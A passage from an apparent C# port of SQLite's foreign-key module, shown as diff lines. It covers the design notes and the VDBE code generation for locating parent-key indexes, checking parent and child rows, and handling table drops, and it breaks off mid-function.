is +** committed, the commit fails if the current value of the counter is +** greater than zero. This scheme has two big drawbacks: +** +** * When a commit fails due to a deferred foreign key constraint, +** there is no way to tell which foreign constraint is not satisfied, +** or which row it is not satisfied for. +** +** * If the database contains foreign key violations when the +** transaction is opened, this may cause the mechanism to malfunction. +** +** Despite these problems, this approach is adopted as it seems simpler +** than the alternatives. +** +** INSERT operations: +** +** I.1) For each FK for which the table is the child table, search +** the parent table for a match. If none is found increment the +** constraint counter. +** +** I.2) For each FK for which the table is the parent table, +** search the child table for rows that correspond to the new +** row in the parent table. Decrement the counter for each row +** found (as the constraint is now satisfied). +** +** DELETE operations: +** +** D.1) For each FK for which the table is the child table, +** search the parent table for a row that corresponds to the +** deleted row in the child table. If such a row is not found, +** decrement the counter. +** +** D.2) For each FK for which the table is the parent table, search +** the child table for rows that correspond to the deleted row +** in the parent table. For each found increment the counter. +** +** UPDATE operations: +** +** An UPDATE command requires that all 4 steps above are taken, but only +** for FK constraints for which the affected columns are actually +** modified (values must be compared at runtime). +** +** Note that I.1 and D.1 are very similar operations, as are I.2 and D.2. +** This simplifies the implementation a bit. +** +** For the purposes of immediate FK constraints, the OR REPLACE conflict +** resolution is considered to delete rows before the new row is inserted. +** If a delete caused by OR REPLACE violates an FK constraint, an exception +** is thrown, even if the FK constraint would be satisfied after the new +** row is inserted. +** +** Immediate constraints are usually handled similarly. The only difference +** is that the counter used is stored as part of each individual statement +** object (struct Vdbe). If, after the statement has run, its immediate +** constraint counter is greater than zero, it returns SQLITE_CONSTRAINT +** and the statement transaction is rolled back. An exception is an INSERT +** statement that inserts a single row only (no triggers). In this case, +** instead of using a counter, an exception is thrown immediately if the +** INSERT violates a foreign key constraint. This is necessary as such +** an INSERT does not open a statement transaction. +** +** TODO: How should dropping a table be handled? How should renaming a +** table be handled? +** +** +** Query API Notes +** --------------- +** +** Before coding an UPDATE or DELETE row operation, the code-generator +** for those two operations needs to know whether or not the operation +** requires any FK processing and, if so, which columns of the original +** row are required by the FK processing VDBE code (i.e. if FKs were +** implemented using triggers, which of the old.* columns would be +** accessed). No information is required by the code-generator before +** coding an INSERT operation. The functions used by the UPDATE/DELETE +** generation code to query for this information are: +** +** sqlite3FkRequired() - Test to see if FK processing is required. +** sqlite3FkOldmask() - Query for the set of required old.* columns. +** +** +** Externally accessible module functions +** -------------------------------------- +** +** sqlite3FkCheck() - Check for foreign key violations. +** sqlite3FkActions() - Code triggers for ON UPDATE/ON DELETE actions. +** sqlite3FkDelete() - Delete an FKey structure. +*/ + + /* + ** VDBE Calling Convention + ** ----------------------- + ** + ** Example: + ** + ** For the following INSERT statement: + ** + ** CREATE TABLE t1(a, b INTEGER PRIMARY KEY, c); + ** INSERT INTO t1 VALUES(1, 2, 3.1); + ** + ** Register (x): 2 (type integer) + ** Register (x+1): 1 (type integer) + ** Register (x+2): NULL (type NULL) + ** Register (x+3): 3.1 (type real) + */ + + /* + ** A foreign key constraint requires that the key columns in the parent + ** table are collectively subject to a UNIQUE or PRIMARY KEY constraint. + ** Given that pParent is the parent table for foreign key constraint pFKey, + ** search the schema a unique index on the parent key columns. + ** + ** If successful, zero is returned. If the parent key is an INTEGER PRIMARY + ** KEY column, then output variable *ppIdx is set to NULL. Otherwise, *ppIdx + ** is set to point to the unique index. + ** + ** If the parent key consists of a single column (the foreign key constraint + ** is not a composite foreign key), refput variable *paiCol is set to NULL. + ** Otherwise, it is set to point to an allocated array of size N, where + ** N is the number of columns in the parent key. The first element of the + ** array is the index of the child table column that is mapped by the FK + ** constraint to the parent table column stored in the left-most column + ** of index *ppIdx. The second element of the array is the index of the + ** child table column that corresponds to the second left-most column of + ** *ppIdx, and so on. + ** + ** If the required index cannot be found, either because: + ** + ** 1) The named parent key columns do not exist, or + ** + ** 2) The named parent key columns do exist, but are not subject to a + ** UNIQUE or PRIMARY KEY constraint, or + ** + ** 3) No parent key columns were provided explicitly as part of the + ** foreign key definition, and the parent table does not have a + ** PRIMARY KEY, or + ** + ** 4) No parent key columns were provided explicitly as part of the + ** foreign key definition, and the PRIMARY KEY of the parent table + ** consists of a different number of columns to the child key in + ** the child table. + ** + ** then non-zero is returned, and a "foreign key mismatch" error loaded + ** into pParse. If an OOM error occurs, non-zero is returned and the + ** pParse.db.mallocFailed flag is set. + */ + static int locateFkeyIndex( + Parse pParse, /* Parse context to store any error in */ + Table pParent, /* Parent table of FK constraint pFKey */ + FKey pFKey, /* Foreign key to find index for */ + out Index ppIdx, /* OUT: Unique index on parent table */ + out int[] paiCol /* OUT: Map of index columns in pFKey */ + ) + { + Index pIdx = null; /* Value to return via *ppIdx */ + ppIdx = null; + int[] aiCol = null; /* Value to return via *paiCol */ + paiCol = null; + + int nCol = pFKey.nCol; /* Number of columns in parent key */ + string zKey = pFKey.aCol[0].zCol; /* Name of left-most parent key column */ + + /* The caller is responsible for zeroing output parameters. */ + //assert( ppIdx && *ppIdx==0 ); + //assert( !paiCol || *paiCol==0 ); + Debug.Assert( pParse != null ); + + /* If this is a non-composite (single column) foreign key, check if it + ** maps to the INTEGER PRIMARY KEY of table pParent. If so, leave *ppIdx + ** and *paiCol set to zero and return early. + ** + ** Otherwise, for a composite foreign key (more than one column), allocate + ** space for the aiCol array (returned via output parameter *paiCol). + ** Non-composite foreign keys do not require the aiCol array. + */ + if ( nCol == 1 ) + { + /* The FK maps to the IPK if any of the following are true: + ** + ** 1) There is an INTEGER PRIMARY KEY column and the FK is implicitly + ** mapped to the primary key of table pParent, or + ** 2) The FK is explicitly mapped to a column declared as INTEGER + ** PRIMARY KEY. + */ + if ( pParent.iPKey >= 0 ) + { + if ( null == zKey ) + return 0; + if ( pParent.aCol[pParent.iPKey].zName.Equals( zKey ,StringComparison.InvariantCultureIgnoreCase ) ) + return 0; + } + } + else //if( paiCol ){ + { + Debug.Assert( nCol > 1 ); + aiCol = new int[nCol];// (int*)sqlite3DbMallocRaw( pParse.db, nCol * sizeof( int ) ); + //if( !aiCol ) return 1; + paiCol = aiCol; + } + + for ( pIdx = pParent.pIndex; pIdx != null; pIdx = pIdx.pNext ) + { + if ( pIdx.nColumn == nCol && pIdx.onError != OE_None ) + { + /* pIdx is a UNIQUE index (or a PRIMARY KEY) and has the right number + ** of columns. If each indexed column corresponds to a foreign key + ** column of pFKey, then this index is a winner. */ + + if ( zKey == null ) + { + /* If zKey is NULL, then this foreign key is implicitly mapped to + ** the PRIMARY KEY of table pParent. The PRIMARY KEY index may be + ** identified by the test (Index.autoIndex==2). */ + if ( pIdx.autoIndex == 2 ) + { + if ( aiCol != null ) + { + int i; + for ( i = 0; i < nCol; i++ ) + aiCol[i] = pFKey.aCol[i].iFrom; + } + break; + } + } + else + { + /* If zKey is non-NULL, then this foreign key was declared to + ** map to an explicit list of columns in table pParent. Check if this + ** index matches those columns. Also, check that the index uses + ** the default collation sequences for each column. */ + int i, j; + for ( i = 0; i < nCol; i++ ) + { + int iCol = pIdx.aiColumn[i]; /* Index of column in parent tbl */ + string zDfltColl; /* Def. collation for column */ + string zIdxCol; /* Name of indexed column */ + + /* If the index uses a collation sequence that is different from + ** the default collation sequence for the column, this index is + ** unusable. Bail out early in this case. */ + zDfltColl = pParent.aCol[iCol].zColl; + if ( String.IsNullOrEmpty( zDfltColl ) ) + { + zDfltColl = "BINARY"; + } + if ( !pIdx.azColl[i].Equals( zDfltColl ,StringComparison.InvariantCultureIgnoreCase ) ) + break; + + zIdxCol = pParent.aCol[iCol].zName; + for ( j = 0; j < nCol; j++ ) + { + if ( pFKey.aCol[j].zCol.Equals( zIdxCol ,StringComparison.InvariantCultureIgnoreCase ) ) + { + if ( aiCol != null ) + aiCol[i] = pFKey.aCol[j].iFrom; + break; + } + } + if ( j == nCol ) + break; + } + if ( i == nCol ) + break; /* pIdx is usable */ + } + } + } + + if ( null == pIdx ) + { + if ( 0 == pParse.disableTriggers ) + { + sqlite3ErrorMsg( pParse, "foreign key mismatch" ); + } + sqlite3DbFree( pParse.db, ref aiCol ); + return 1; + } + + ppIdx = pIdx; + return 0; + } + + /* + ** This function is called when a row is inserted into or deleted from the + ** child table of foreign key constraint pFKey. If an SQL UPDATE is executed + ** on the child table of pFKey, this function is invoked twice for each row + ** affected - once to "delete" the old row, and then again to "insert" the + ** new row. + ** + ** Each time it is called, this function generates VDBE code to locate the + ** row in the parent table that corresponds to the row being inserted into + ** or deleted from the child table. If the parent row can be found, no + ** special action is taken. Otherwise, if the parent row can *not* be + ** found in the parent table: + ** + ** Operation | FK type | Action taken + ** -------------------------------------------------------------------------- + ** INSERT immediate Increment the "immediate constraint counter". + ** + ** DELETE immediate Decrement the "immediate constraint counter". + ** + ** INSERT deferred Increment the "deferred constraint counter". + ** + ** DELETE deferred Decrement the "deferred constraint counter". + ** + ** These operations are identified in the comment at the top of this file + ** (fkey.c) as "I.1" and "D.1". + */ + static void fkLookupParent( + Parse pParse, /* Parse context */ + int iDb, /* Index of database housing pTab */ + Table pTab, /* Parent table of FK pFKey */ + Index pIdx, /* Unique index on parent key columns in pTab */ + FKey pFKey, /* Foreign key constraint */ + int[] aiCol, /* Map from parent key columns to child table columns */ + int regData, /* Address of array containing child table row */ + int nIncr, /* Increment constraint counter by this */ + int isIgnore /* If true, pretend pTab contains all NULL values */ + ) + { + int i; /* Iterator variable */ + Vdbe v = sqlite3GetVdbe( pParse ); /* Vdbe to add code to */ + int iCur = pParse.nTab - 1; /* Cursor number to use */ + int iOk = sqlite3VdbeMakeLabel( v ); /* jump here if parent key found */ + + /* If nIncr is less than zero, then check at runtime if there are any + ** outstanding constraints to resolve. If there are not, there is no need + ** to check if deleting this row resolves any outstanding violations. + ** + ** Check if any of the key columns in the child table row are NULL. If + ** any are, then the constraint is considered satisfied. No need to + ** search for a matching row in the parent table. */ + if ( nIncr < 0 ) + { + sqlite3VdbeAddOp2( v, OP_FkIfZero, pFKey.isDeferred, iOk ); + } + for ( i = 0; i < pFKey.nCol; i++ ) + { + int iReg = aiCol[i] + regData + 1; + sqlite3VdbeAddOp2( v, OP_IsNull, iReg, iOk ); + } + + if ( isIgnore == 0 ) + { + if ( pIdx == null ) + { + /* If pIdx is NULL, then the parent key is the INTEGER PRIMARY KEY + ** column of the parent table (table pTab). */ + int iMustBeInt; /* Address of MustBeInt instruction */ + int regTemp = sqlite3GetTempReg( pParse ); + + /* Invoke MustBeInt to coerce the child key value to an integer (i.e. + ** apply the affinity of the parent key). If this fails, then there + ** is no matching parent key. Before using MustBeInt, make a copy of + ** the value. Otherwise, the value inserted into the child key column + ** will have INTEGER affinity applied to it, which may not be correct. */ + sqlite3VdbeAddOp2( v, OP_SCopy, aiCol[0] + 1 + regData, regTemp ); + iMustBeInt = sqlite3VdbeAddOp2( v, OP_MustBeInt, regTemp, 0 ); + + /* If the parent table is the same as the child table, and we are about + ** to increment the constraint-counter (i.e. this is an INSERT operation), + ** then check if the row being inserted matches itself. If so, do not + ** increment the constraint-counter. */ + if ( pTab == pFKey.pFrom && nIncr == 1 ) + { + sqlite3VdbeAddOp3( v, OP_Eq, regData, iOk, regTemp ); + } + + sqlite3OpenTable( pParse, iCur, iDb, pTab, OP_OpenRead ); + sqlite3VdbeAddOp3( v, OP_NotExists, iCur, 0, regTemp ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, iOk ); + sqlite3VdbeJumpHere( v, sqlite3VdbeCurrentAddr( v ) - 2 ); + sqlite3VdbeJumpHere( v, iMustBeInt ); + sqlite3ReleaseTempReg( pParse, regTemp ); + } + else + { + int nCol = pFKey.nCol; + int regTemp = sqlite3GetTempRange( pParse, nCol ); + int regRec = sqlite3GetTempReg( pParse ); + KeyInfo pKey = sqlite3IndexKeyinfo( pParse, pIdx ); + + sqlite3VdbeAddOp3( v, OP_OpenRead, iCur, pIdx.tnum, iDb ); + sqlite3VdbeChangeP4( v, -1, pKey, P4_KEYINFO_HANDOFF ); + for ( i = 0; i < nCol; i++ ) + { + sqlite3VdbeAddOp2( v, OP_Copy, aiCol[i] + 1 + regData, regTemp + i ); + } + + /* If the parent table is the same as the child table, and we are about + ** to increment the constraint-counter (i.e. this is an INSERT operation), + ** then check if the row being inserted matches itself. If so, do not + ** increment the constraint-counter. + ** + ** If any of the parent-key values are NULL, then the row cannot match + ** itself. So set JUMPIFNULL to make sure we do the OP_Found if any + ** of the parent-key values are NULL (at this point it is known that + ** none of the child key values are). + */ + if ( pTab == pFKey.pFrom && nIncr == 1 ) + { + int iJump = sqlite3VdbeCurrentAddr( v ) + nCol + 1; + for ( i = 0; i < nCol; i++ ) + { + int iChild = aiCol[i] + 1 + regData; + int iParent = pIdx.aiColumn[i] + 1 + regData; + Debug.Assert( aiCol[i] != pTab.iPKey ); + if ( pIdx.aiColumn[i] == pTab.iPKey ) + { + /* The parent key is a composite key that includes the IPK column */ + iParent = regData; + } + sqlite3VdbeAddOp3( v, OP_Ne, iChild, iJump, iParent ); + sqlite3VdbeChangeP5( v, SQLITE_JUMPIFNULL ); + } + sqlite3VdbeAddOp2( v, OP_Goto, 0, iOk ); + } + + sqlite3VdbeAddOp3( v, OP_MakeRecord, regTemp, nCol, regRec ); + sqlite3VdbeChangeP4( v, -1, sqlite3IndexAffinityStr( v, pIdx ), P4_TRANSIENT ); + sqlite3VdbeAddOp4Int( v, OP_Found, iCur, iOk, regRec, 0 ); + + sqlite3ReleaseTempReg( pParse, regRec ); + sqlite3ReleaseTempRange( pParse, regTemp, nCol ); + } + } + + if ( 0 == pFKey.isDeferred && null == pParse.pToplevel && 0 == pParse.isMultiWrite ) + { + /* Special case: If this is an INSERT statement that will insert exactly + ** one row into the table, raise a constraint immediately instead of + ** incrementing a counter. This is necessary as the VM code is being + ** generated for will not open a statement transaction. */ + Debug.Assert( nIncr == 1 ); + sqlite3HaltConstraint( + pParse, OE_Abort, "foreign key constraint failed", P4_STATIC + ); + } + else + { + if ( nIncr > 0 && pFKey.isDeferred == 0 ) + { + sqlite3ParseToplevel( pParse ).mayAbort = 1; + } + sqlite3VdbeAddOp2( v, OP_FkCounter, pFKey.isDeferred, nIncr ); + } + + sqlite3VdbeResolveLabel( v, iOk ); + sqlite3VdbeAddOp1( v, OP_Close, iCur ); + } + + /* + ** This function is called to generate code executed when a row is deleted + ** from the parent table of foreign key constraint pFKey and, if pFKey is + ** deferred, when a row is inserted into the same table. When generating + ** code for an SQL UPDATE operation, this function may be called twice - + ** once to "delete" the old row and once to "insert" the new row. + ** + ** The code generated by this function scans through the rows in the child + ** table that correspond to the parent table row being deleted or inserted. + ** For each child row found, one of the following actions is taken: + ** + ** Operation | FK type | Action taken + ** -------------------------------------------------------------------------- + ** DELETE immediate Increment the "immediate constraint counter". + ** Or, if the ON (UPDATE|DELETE) action is RESTRICT, + ** throw a "foreign key constraint failed" exception. + ** + ** INSERT immediate Decrement the "immediate constraint counter". + ** + ** DELETE deferred Increment the "deferred constraint counter". + ** Or, if the ON (UPDATE|DELETE) action is RESTRICT, + ** throw a "foreign key constraint failed" exception. + ** + ** INSERT deferred Decrement the "deferred constraint counter". + ** + ** These operations are identified in the comment at the top of this file + ** (fkey.c) as "I.2" and "D.2". + */ + static void fkScanChildren( + Parse pParse, /* Parse context */ + SrcList pSrc, /* SrcList containing the table to scan */ + Table pTab, + Index pIdx, /* Foreign key index */ + FKey pFKey, /* Foreign key relationship */ + int[] aiCol, /* Map from pIdx cols to child table cols */ + int regData, /* Referenced table data starts here */ + int nIncr /* Amount to increment deferred counter by */ + ) + { + sqlite3 db = pParse.db; /* Database handle */ + int i; /* Iterator variable */ + Expr pWhere = null; /* WHERE clause to scan with */ + NameContext sNameContext; /* Context used to resolve WHERE clause */ + WhereInfo pWInfo; /* Context used by sqlite3WhereXXX() */ + int iFkIfZero = 0; /* Address of OP_FkIfZero */ + Vdbe v = sqlite3GetVdbe( pParse ); + + Debug.Assert( null == pIdx || pIdx.pTable == pTab ); + + if ( nIncr < 0 ) + { + iFkIfZero = sqlite3VdbeAddOp2( v, OP_FkIfZero, pFKey.isDeferred, 0 ); + } + + /* Create an Expr object representing an SQL expression like: + ** + ** = AND = ... + ** + ** The collation sequence used for the comparison should be that of + ** the parent key columns. The affinity of the parent key column should + ** be applied to each child key value before the comparison takes place. + */ + for ( i = 0; i < pFKey.nCol; i++ ) + { + Expr pLeft; /* Value from parent table row */ + Expr pRight; /* Column ref to child table */ + Expr pEq; /* Expression (pLeft = pRight) */ + int iCol; /* Index of column in child table */ + string zCol; /* Name of column in child table */ + + pLeft = sqlite3Expr( db, TK_REGISTER, null ); + if ( pLeft != null ) + { + /* Set the collation sequence and affinity of the LHS of each TK_EQ + ** expression to the parent key column defaults. */ + if ( pIdx != null ) + { + Column pCol; + iCol = pIdx.aiColumn[i]; + pCol = pTab.aCol[iCol]; + if ( pTab.iPKey == iCol ) + iCol = -1; + pLeft.iTable = regData + iCol + 1; + pLeft.affinity = pCol.affinity; + pLeft.pColl = sqlite3LocateCollSeq( pParse, pCol.zColl ); + } + else + { + pLeft.iTable = regData; + pLeft.affinity = SQLITE_AFF_INTEGER; + } + } + iCol = aiCol != null ? aiCol[i] : pFKey.aCol[0].iFrom; + Debug.Assert( iCol >= 0 ); + zCol = pFKey.pFrom.aCol[iCol].zName; + pRight = sqlite3Expr( db, TK_ID, zCol ); + pEq = sqlite3PExpr( pParse, TK_EQ, pLeft, pRight, 0 ); + pWhere = sqlite3ExprAnd( db, pWhere, pEq ); + } + + /* If the child table is the same as the parent table, and this scan + ** is taking place as part of a DELETE operation (operation D.2), omit the + ** row being deleted from the scan by adding ($rowid != rowid) to the WHERE + ** clause, where $rowid is the rowid of the row being deleted. */ + if ( pTab == pFKey.pFrom && nIncr > 0 ) + { + Expr pEq; /* Expression (pLeft = pRight) */ + Expr pLeft; /* Value from parent table row */ + Expr pRight; /* Column ref to child table */ + pLeft = sqlite3Expr( db, TK_REGISTER, null ); + pRight = sqlite3Expr( db, TK_COLUMN, null ); + if ( pLeft != null && pRight != null ) + { + pLeft.iTable = regData; + pLeft.affinity = SQLITE_AFF_INTEGER; + pRight.iTable = pSrc.a[0].iCursor; + pRight.iColumn = -1; + } + pEq = sqlite3PExpr( pParse, TK_NE, pLeft, pRight, 0 ); + pWhere = sqlite3ExprAnd( db, pWhere, pEq ); + } + + /* Resolve the references in the WHERE clause. */ + sNameContext = new NameContext();// memset( &sNameContext, 0, sizeof( NameContext ) ); + sNameContext.pSrcList = pSrc; + sNameContext.pParse = pParse; + sqlite3ResolveExprNames( sNameContext, ref pWhere ); + + /* Create VDBE to loop through the entries in pSrc that match the WHERE + ** clause. If the constraint is not deferred, throw an exception for + ** each row found. Otherwise, for deferred constraints, increment the + ** deferred constraint counter by nIncr for each row selected. */ + ExprList elDummy = null; + pWInfo = sqlite3WhereBegin( pParse, pSrc, pWhere, ref elDummy, 0 ); + if ( nIncr > 0 && pFKey.isDeferred == 0 ) + { + sqlite3ParseToplevel( pParse ).mayAbort = 1; + } + sqlite3VdbeAddOp2( v, OP_FkCounter, pFKey.isDeferred, nIncr ); + if ( pWInfo != null ) + { + sqlite3WhereEnd( pWInfo ); + } + + /* Clean up the WHERE clause constructed above. */ + sqlite3ExprDelete( db, ref pWhere ); + if ( iFkIfZero != 0 ) + { + sqlite3VdbeJumpHere( v, iFkIfZero ); + } + } + + /* + ** This function returns a pointer to the head of a linked list of FK + ** constraints for which table pTab is the parent table. For example, + ** given the following schema: + ** + ** CREATE TABLE t1(a PRIMARY KEY); + ** CREATE TABLE t2(b REFERENCES t1(a); + ** + ** Calling this function with table "t1" as an argument returns a pointer + ** to the FKey structure representing the foreign key constraint on table + ** "t2". Calling this function with "t2" as the argument would return a + ** NULL pointer (as there are no FK constraints for which t2 is the parent + ** table). + */ + static FKey sqlite3FkReferences( Table pTab ) + { + int nName = sqlite3Strlen30( pTab.zName ); + return sqlite3HashFind( pTab.pSchema.fkeyHash, pTab.zName, nName, (FKey)null ); + } + + /* + ** The second argument is a Trigger structure allocated by the + ** fkActionTrigger() routine. This function deletes the Trigger structure + ** and all of its sub-components. + ** + ** The Trigger structure or any of its sub-components may be allocated from + ** the lookaside buffer belonging to database handle dbMem. + */ + static void fkTriggerDelete( sqlite3 dbMem, Trigger p ) + { + if ( p != null ) + { + TriggerStep pStep = p.step_list; + sqlite3ExprDelete( dbMem, ref pStep.pWhere ); + sqlite3ExprListDelete( dbMem, ref pStep.pExprList ); + sqlite3SelectDelete( dbMem, ref pStep.pSelect ); + sqlite3ExprDelete( dbMem, ref p.pWhen ); + sqlite3DbFree( dbMem, ref p ); + } + } + + /* + ** This function is called to generate code that runs when table pTab is + ** being dropped from the database. The SrcList passed as the second argument + ** to this function contains a single entry guaranteed to resolve to + ** table pTab. + ** + ** Normally, no code is required. However, if either + ** + ** (a) The table is the parent table of a FK constraint, or + ** (b) The table is the child table of a deferred FK constraint and it is + ** determined at runtime that there are outstanding deferred FK + ** constraint violations in the database, + ** + ** then the equivalent of "DELETE FROM " is executed before dropping + ** the table from the database. Triggers are disabled while running this + ** DELETE, but foreign key actions are not. + */ + static void sqlite3FkDropTable( Parse pParse, SrcList pName, Table pTab ) + { + sqlite3 db = pParse.db; + if ( ( db.flags & SQLITE_ForeignKeys ) != 0 && !IsVirtual( pTab ) && null == pTab.pSelect ) + { + int iSkip = 0; + Vdbe v = sqlite3GetVdbe( pParse ); + + Debug.Assert( v != null ); /* VDBE has already been allocated */ + if ( sqlite3FkReferences( pTab ) == null ) + { + /* Search for a deferred foreign key constraint for which this table + ** is the child table. If one cannot be found, return without + ** generating any VDBE code. If one can be found, then jump over + ** the entire DELETE if there are no outstanding deferred constraints + ** when this statement is run. */ + FKey p; + for ( p = pTab.pFKey; p != null; p = p.pNextFrom ) + { + if ( p.isDeferred != 0 ) + break; + } + if ( null == p ) + return; + iSkip = sqlite3VdbeMakeLabel( v ); + sqlite3VdbeAddOp2( v, OP_FkIfZero, 1, iSkip ); + } + + pParse.disableTriggers = 1; + sqlite3DeleteFrom( pParse, sqlite3SrcListDup( db, pName, 0 ), null ); + pParse.disableTriggers = 0; + + /* If the DELETE has generated immediate foreign key constraint + ** violations, halt the VDBE and return an error at this point, before + ** any modifications to the schema are made. This is because statement + ** transactions are not able to rollback schema changes. */ + sqlite3VdbeAddOp2( v, OP_FkIfZero, 0, sqlite3VdbeCurrentAddr( v ) + 2 ); + sqlite3HaltConstraint( + pParse, OE_Abort, "foreign key constraint failed", P4_STATIC + ); + + if ( iSkip != 0 ) + { + sqlite3VdbeResolveLabel( v, iSkip ); + } + } + } + + /* + ** This function is called when inserting, deleting or updating a row of + ** table pTab to generate VDBE code to perform foreign key constraint + ** processing for the operation. + ** + ** For a DELETE operation, parameter regOld is passed the index of the + ** first register in an array of (pTab.nCol+1) registers containing the + ** rowid of the row being deleted, followed by each of the column values + ** of the row being deleted, from left to right. Parameter regNew is passed + ** zero in this case. + ** + ** For an INSERT operation, regOld is passed zero and regNew is passed the + ** first register of an array of (pTab.nCol+1) registers containing the new + ** row data. + ** + ** For an UPDATE operation, this function is called twice. Once before + ** the original record is deleted from the table using the calling convention + ** described for DELETE. Then again after the original record is deleted + ** but before the new record is inserted using the INSERT convention. + */ + static void sqlite3FkCheck( + Parse pParse, /* Parse context */ + Table pTab, /* Row is being deleted from this table */ + int regOld, /* Previous row data is stored here */ + int regNew /* New row data is stored here */ + ) + { + sqlite3 db = pParse.db; /* Database handle */ + FKey pFKey; /* Used to iterate through FKs */ + int iDb; /* Index of database containing pTab */ + string zDb; /* Name of database containing pTab */ + int isIgnoreErrors = pParse.disableTriggers; + + /* Exactly one of regOld and regNew should be non-zero. */ + Debug.Assert( ( regOld == 0 ) != ( regNew == 0 ) ); + + /* If foreign-keys are disabled, this function is a no-op. */ + if ( ( db.flags & SQLITE_ForeignKeys ) == 0 ) + return; + + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + zDb = db.aDb[iDb].zName; + + /* Loop through all the foreign key constraints for which pTab is the + ** child table (the table that the foreign key definition is part of). */ + for ( pFKey = pTab.pFKey; pFKey != null; pFKey = pFKey.pNextFrom ) + { + Table pTo; /* Parent table of foreign key pFKey */ + Index pIdx = null; /* Index on key columns in pTo */ + int[] aiFree = null; + int[] aiCol; + int iCol; + int i; + int isIgnore = 0; + + /* Find the parent table of this foreign key. Also find a unique index + ** on the parent key columns in the parent table. If either of these + ** schema items cannot be located, set an error in pParse and return + ** early. */ + if ( pParse.disableTriggers != 0 ) + { + pTo = sqlite3FindTable( db, pFKey.zTo, zDb ); + } + else + { + pTo = sqlite3LocateTable( pParse, 0, pFKey.zTo, zDb ); + } + if ( null == pTo || locateFkeyIndex( pParse, pTo, pFKey, out pIdx, out aiFree ) != 0 ) + { + if ( 0 == isIgnoreErrors /* || db.mallocFailed */) + return; + continue; + } + Debug.Assert( pFKey.nCol == 1 || ( aiFree != null && pIdx != null ) ); + + if ( aiFree != null ) + { + aiCol = aiFree; + } + else + { + iCol = pFKey.aCol[0].iFrom; + aiCol = new int[1]; + aiCol[0] = iCol; + } + for ( i = 0; i < pFKey.nCol; i++ ) + { + if ( aiCol[i] == pTab.iPKey ) + { + aiCol[i] = -1; + } +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION + /* Request permission to read the parent key columns. If the + ** authorization callback returns SQLITE_IGNORE, behave as if any + ** values read from the parent table are NULL. */ + if( db.xAuth ){ + int rcauth; + char *zCol = pTo.aCol[pIdx ? pIdx.aiColumn[i] : pTo.iPKey].zName; + rcauth = sqlite3AuthReadCol(pParse, pTo.zName, zCol, iDb); + isIgnore = (rcauth==SQLITE_IGNORE); + } +#endif + } + + /* Take a shared-cache advisory read-lock on the parent table. Allocate + ** a cursor to use to search the unique index on the parent key columns + ** in the parent table. */ + sqlite3TableLock( pParse, iDb, pTo.tnum, 0, pTo.zName ); + pParse.nTab++; + + if ( regOld != 0 ) + { + /* A row is being removed from the child table. Search for the parent. + ** If the parent does not exist, removing the child row resolves an + ** outstanding foreign key constraint violation. */ + fkLookupParent( pParse, iDb, pTo, pIdx, pFKey, aiCol, regOld, -1, isIgnore ); + } + if ( regNew != 0 ) + { + /* A row is being added to the child table. If a parent row cannot + ** be found, adding the child row has violated the FK constraint. */ + fkLookupParent( pParse, iDb, pTo, pIdx, pFKey, aiCol, regNew, +1, isIgnore ); + } + + sqlite3DbFree( db, ref aiFree ); + } + + /* Loop through all the foreign key constraints that refer to this table */ + for ( pFKey = sqlite3FkReferences( pTab ); pFKey != null; pFKey = pFKey.pNextTo ) + { + Index pIdx = null; /* Foreign key index for pFKey */ + SrcList pSrc; + int[] aiCol = null; + + if ( 0 == pFKey.isDeferred && null == pParse.pToplevel && 0 == pParse.isMultiWrite ) + { + Debug.Assert( regOld == 0 && regNew != 0 ); + /* Inserting a single row into a parent table cannot cause an immediate + ** foreign key violation. So do nothing in this case. */ + continue; + } + + if ( locateFkeyIndex( pParse, pTab, pFKey, out pIdx, out aiCol ) != 0 ) + { + if ( 0 == isIgnoreErrors /*|| db.mallocFailed */) + return; + continue; + } + Debug.Assert( aiCol != null || pFKey.nCol == 1 ); + + /* Create a SrcList structure containing a single table (the table + ** the foreign key that refers to this table is attached to). This + ** is required for the sqlite3WhereXXX() interface. */ + pSrc = sqlite3SrcListAppend( db, 0, null, null ); + if ( pSrc != null ) + { + SrcList_item pItem = pSrc.a[0]; + pItem.pTab = pFKey.pFrom; + pItem.zName = pFKey.pFrom.zName; + pItem.pTab.nRef++; + pItem.iCursor = pParse.nTab++; + + if ( regNew != 0 ) + { + fkScanChildren( pParse, pSrc, pTab, pIdx, pFKey, aiCol, regNew, -1 ); + } + if ( regOld != 0 ) + { + /* If there is a RESTRICT action configured for the current operation + ** on the parent table of this FK, then throw an exception + ** immediately if the FK constraint is violated, even if this is a + ** deferred trigger. That's what RESTRICT means. To defer checking + ** the constraint, the FK should specify NO ACTION (represented + ** using OE_None). NO ACTION is the default. */ + fkScanChildren( pParse, pSrc, pTab, pIdx, pFKey, aiCol, regOld, 1 ); + } + pItem.zName = null; + sqlite3SrcListDelete( db, ref pSrc ); + } + sqlite3DbFree( db, ref aiCol ); + } + } + + //#define COLUMN_MASK(x) (((x)>31) ? 0xffffffff : ((u32)1<<(x))) + static uint COLUMN_MASK( int x ) + { + return ( ( x ) > 31 ) ? 0xffffffff : ( (u32)1 << ( x ) ); + } + + /* + ** This function is called before generating code to update or delete a + ** row contained in table pTab. + */ + static u32 sqlite3FkOldmask( + Parse pParse, /* Parse context */ + Table pTab /* Table being modified */ + ) + { + u32 mask = 0; + if ( ( pParse.db.flags & SQLITE_ForeignKeys ) != 0 ) + { + FKey p; + int i; + for ( p = pTab.pFKey; p != null; p = p.pNextFrom ) + { + for ( i = 0; i < p.nCol; i++ ) + mask |= COLUMN_MASK( p.aCol[i].iFrom ); + } + for ( p = sqlite3FkReferences( pTab ); p != null; p = p.pNextTo ) + { + Index pIdx; + int[] iDummy; + locateFkeyIndex( pParse, pTab, p, out pIdx, out iDummy ); + if ( pIdx != null ) + { + for ( i = 0; i < pIdx.nColumn; i++ ) + mask |= COLUMN_MASK( pIdx.aiColumn[i] ); + } + } + } + return mask; + } + + /* + ** This function is called before generating code to update or delete a + ** row contained in table pTab. If the operation is a DELETE, then + ** parameter aChange is passed a NULL value. For an UPDATE, aChange points + ** to an array of size N, where N is the number of columns in table pTab. + ** If the i'th column is not modified by the UPDATE, then the corresponding + ** entry in the aChange[] array is set to -1. If the column is modified, + ** the value is 0 or greater. Parameter chngRowid is set to true if the + ** UPDATE statement modifies the rowid fields of the table. + ** + ** If any foreign key processing will be required, this function returns + ** true. If there is no foreign key related processing, this function + ** returns false. + */ + static int sqlite3FkRequired( + Parse pParse, /* Parse context */ + Table pTab, /* Table being modified */ + int[] aChange, /* 